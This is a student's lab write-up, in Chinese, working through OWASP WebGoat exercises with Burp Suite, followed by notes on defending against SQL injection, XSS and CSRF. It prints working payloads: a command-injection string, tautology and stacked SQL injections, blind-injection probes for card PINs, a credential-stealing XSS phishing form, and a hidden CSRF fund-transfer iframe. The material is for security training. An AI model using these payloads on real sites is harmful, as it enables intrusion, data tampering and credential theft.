PS:我是分了两次做的这次试验,第二次实验的时候电脑出了一点问题熄火了……原本后面的是有图的结果博客没保存图没了……
WebGoat
- WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。
- 因为WebGoat是基于java开发的软件,所以它具有平台无关性,在各种操作平台上都可以运行,所以本次实验所处的系统为kali机
- 在命令行中输入以下指令即可运行相关
jar
包java -jar webgoat-container-7.0.1-war-exec.jar
- WebGoat默认使用8080端口,所以在看到相关提示:
INFO: Starting ProtocolHandler ["http-bio-8080"]后即可开始
- 打开浏览器,访问
localhost:8080/WebGoat
,登陆即可
BurpSuite
- Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。
-
- 在桌面左边的快捷栏找到,打开他,一直
next
就好; Proxy
->Options
,点击Add
,自行配置一个端口号,配好以后记得要勾选自己配好的那一条,然后点击run:
- 打开浏览器的设置页,
Advanced
->Network
->Settings
:
- 按照下图进行设置:
- 若需要将网页拦截下来的时候在proxy里点击
intercept
把他打开
- 在桌面左边的快捷栏找到,打开他,一直
Injection Flaws
Command Injection
- 这个界面可以执行系统命令并返回给用户,所以应该在请求项里面添加shell命令,执行
ifconfig
具体来说,就是用前文提到的
BurpSuite
- 工具拦截请求,并将其中的参数改为(我的是这样):
AccessControlMatrix.help"& ifconfig"
- 表示执行这2个指令,在网页的最后能看到ifconfig的结果,成功
Numeric SQL Injection
- 要求:尝试用SQL注入,使得能查到所有的天气
- 思路也很简单,直接构造永真式,即可查找到所有记录
- 既可以按照上一题的思路用工具捕包修改,也可以直接按
F12
修改网页源文件,将需要查找的value改为:101 or 1=1
- 点击go,看到所有城市的天气,成功
Log Spoofing
- 题目的意思是要你写一个SQL字符串,因为网页会将你输入错误的用户名返回给你,所以我们的目标是使得网页返回给你的结果显示的你登录成功一样
- 所以在用户名那构造语句:
gq%0d%0aLogin Succeeded for username: admin
LAB:SQL Injection
Stage 1:String SQL Injection
- 根据描述,是要求你在不知道密码的前提下,还能登录成功
- 利用SQL相关语法,输入
'or 1='1
- 失败,发现超过字符长度。修改源代码(字符串格式与长度),再次输入'or 1='1
- 成功
Stage 2:Parameterized Query #1
- 做不了
Stage 3:Numeric SQL Injection
- 不会……
Stage 4:Parameterized Query #2
- 同
Stage 2
,做不了
String SQL Injection
- 要求:要你输入正确的Last name登录进去 因为不知道密码,所以用万能密钥试一试,根据前文输入:
'or 1='1
- 成功,因为为永真,所以任何用户的信息都看见了
Database Backdoors
- 根据题目要求是要你使用多条语句的SQL注入,更新数据表
- 根据前一篇博客的多条语句注入练习,在此,设置如下SQL语句:
101; update employee set salary=10000
- 发现数据表所有人员工资都等于10000已经更新,成功
第二步要求没看懂
Blind Numeric SQL Injection:
- 数字型盲注入,要求找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值;
- 不停利用
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') >(或者<) 100 );
来猜测,利用折半查找的思想,最终确定答案为2364
Blind String SQL Injection:
- 字符串型盲注入,要求找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar;
- 这和上一题一样猜ASCII的值,答案是Jill;
Cross-Site Scripting (XSS)
Phishing with XSS
-
Phishing with XSS:XSS钓鱼,要求创建一个表单,诱骗访问者输入用户名密码,并将表单提交到
http://localhost:8080/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
;
以下是代码示例:</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR><H3>This feature requires account login:</H2> <br> <br> Enter Username: <br> <input type="text" name="user"> <br> Enter Password: <br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
Stored XSS Attacks
- 存储型XSS攻击,要求在信件中写入一个网页或弹窗;
- 具体操作是这样的:
- title可以任意输入,根据第一次尝试可以发现,输入的这个可以作为一个超链接更新保存在本界面,点击后即可查看输入内容
- Message输入消息,可以嵌入一段js代码,用户点击后即可触发,例如输入:
<script>alert("5234 attack succeed!");</script>
Cross Site Request Forgery (CSRF)
- 这里是一个储存型XSS和CSRF结合的示例,CSRF就是冒名登录,用代码伪造请求
- 这里是把CSRF恶意代码利用储存型XSS放到了网页上,通过留言Message里输入,构造恶意代码如下
<iframe src="attack?Screen=504&menu=900&transferFunds=5000"></iframe>
- 当用户点击这个留言,就会触发,显示已转走5000元
- 注意:上述screen和menu参数的值和网站右边显示的要保持一致
- 如果想让用户在不查觉的情况下,可以将
<iframe>
中的长和宽参数设为1像素,这样就看不见了
实验后回答问题
- (1)SQL注入攻击原理,如何防御
原理:SQL注入攻击的基本原理,是从客户端合法接口提交特殊的非法代码,让其注入到服务器端执行业务的SQL中去,进而改变SQL语句的原有逻辑和影响服务器端正常业务的处理。
防御:
- 执行验证的SQL语句;
- 使用正则表达式屏蔽特殊字符;
- 使用PreparedStatement代替Statement;
- (2)XSS攻击的原理,如何防御
原理:XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。
防御:
- 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
- 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
- (3)CSRF攻击原理,如何防御
原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。
防御:
- 通过 referer、token 或者 验证码 来检测用户提交。
- 尽量不要在页面的链接中暴露用户隐私信息。
- 对于用户修改删除等操作最好都使用post 操作 。
- 避免全站通用的cookie,严格设置cookie的域。